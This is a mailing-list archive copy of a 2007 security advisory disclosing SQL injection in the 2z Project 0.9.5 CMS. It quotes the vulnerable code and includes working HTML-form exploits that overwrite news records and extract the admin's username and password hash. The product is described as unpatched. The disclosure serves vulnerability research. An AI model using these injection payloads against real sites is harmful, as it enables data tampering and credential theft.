Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | [waraxe-2007-SA#051] - Sql Injection in 2z Project 0.9.5 |
|---|---|
| Date: | 23 May 2007 15:24:36 -0000 |
[waraxe-2007-SA#051] - Sql Injection in 2z Project 0.9.5 ==================================================================== Author: Janek Vind "waraxe" Date: 23. May 2007 Location: Estonia, Tartu Web: http://www.waraxe.us/advisory-51.html Target software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerable: 2z Project 0.9.5 Patched: not yet :) http://2z-project.ru/ Vulnerabilities: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1. Critical sql injection in "rating.php" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Let's start with peeking @ source code of "2z/includes/rating.php": ------------------[source code]---------------------- ... if ($_POST['rating']) { @include_once "../core.php"; @header('Content-type: text/html; charset='.$lang['encoding']); LoadLang("news", "site"); } ... if (!$_COOKIE['rating'.$row['id']]) { if (!$rating) { ... else { @setcookie('rating'.$post_id, 'voted', (time() + 31526000), '/'); $mysql->query("UPDATE ".prefix."_news SET rating=rating+".$rating.", votes=votes+1 WHERE id = '".$post_id."'"); ------------------[/source code]---------------------- As we can track back - the $_POST['rating'] parameter will be used in mysql "UPDATE" query without any sanitize at all! This seems to be classical "sql injection in update query" case ... So let's have fun and try some PoC: ------------------[PoC test]----------------------- http://localhost/2zcms/?category=none&altname=testnews&rating=xxx ------------------[/PoC test]---------------------- Result: "Error! Bad query!" What is important for this test to succeed, is that url to specific news item must be valid. And then just add "?rating=xxx" or "&rating=xxx" to url end and you will get error message, if target website is not patched. So what are practical exploiting possibilities in this case? 1. Attacker can modify arbitrary news content on website. ========================================================= This little piece of html code will change news author name to "1337" for ALL news items at the same time! ------------------[real-life exploit]----------------------- <html> <body> <center> <form action="http://localhost/2zcms/?category=none&altname=testnews" method="post"> <input type="hidden" name="rating" value="1,author=1337/*"> <input type="submit" value="Test!"> </form> </center> </body> </html> ------------------[/real-life exploit]---------------------- 2. Attacker can steal any data from mysql database. ========================================================= Exploit below will expose admins username and passwords double md5 hash in "author" field for all news items on website. So if attacker wants to be more sneaky, then sql query must be limited to update only one news item. How? Well, that's too easy, so I will not tell it here ;) ------------------[real-life exploit]----------------------- <html> <body> <center> <form action="http://localhost/2zcms/?category=none&altname=testnews" method="post"> <input type="hidden" name="rating" value="1,author= (SELECT CONCAT(name,0x5e,pass)FROM 2z_users WHERE id=1)/*"> <input type="submit" value="Test!"> </form> </center> </body> </html> ------------------[/real-life exploit]---------------------- There is one important mitigating factor for this exploit to succeed: mysql daemon must have version >= 4.1 with sub queries functionality. //-----> See ya soon and have a nice day ;) <-----// How to fix: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Well, what can I suggest? Try to rush developers for releasing update ASAP :) Greetings: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Greets to str0ke, ToXiC, LINUX, y3dips, Sm0ke, Heintz, slimjim100, Chb, shai-tan and all other people who know me! Special greets goes to Raido Kerna. Tervitusi Torufoorumi rahvale! Contact: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ come2waraxe@yahoo.com Janek Vind "waraxe" Homepage: http://www.waraxe.us/ Shameless advertise: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Shorter url for easy use - http://urlaxe.com/ Soon te be released sql injection tool - http://sqlaxe.com/ ---------------------------------- [ EOF ] ------------------------------------
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | Q1 2007 Application Security Trends Report (Corrected Link), Tom Stracener |
|---|---|
| Next by Date: | FreeBSD Security Advisory FreeBSD-SA-07:04.file, FreeBSD Security Advisories |
| Previous by Thread: | Q1 2007 Application Security Trends Report (Corrected Link), Tom Stracener |
| Next by Thread: | FreeBSD Security Advisory FreeBSD-SA-07:04.file, FreeBSD Security Advisories |
| Indexes: | [Date] [Thread] [Top] [All Lists] |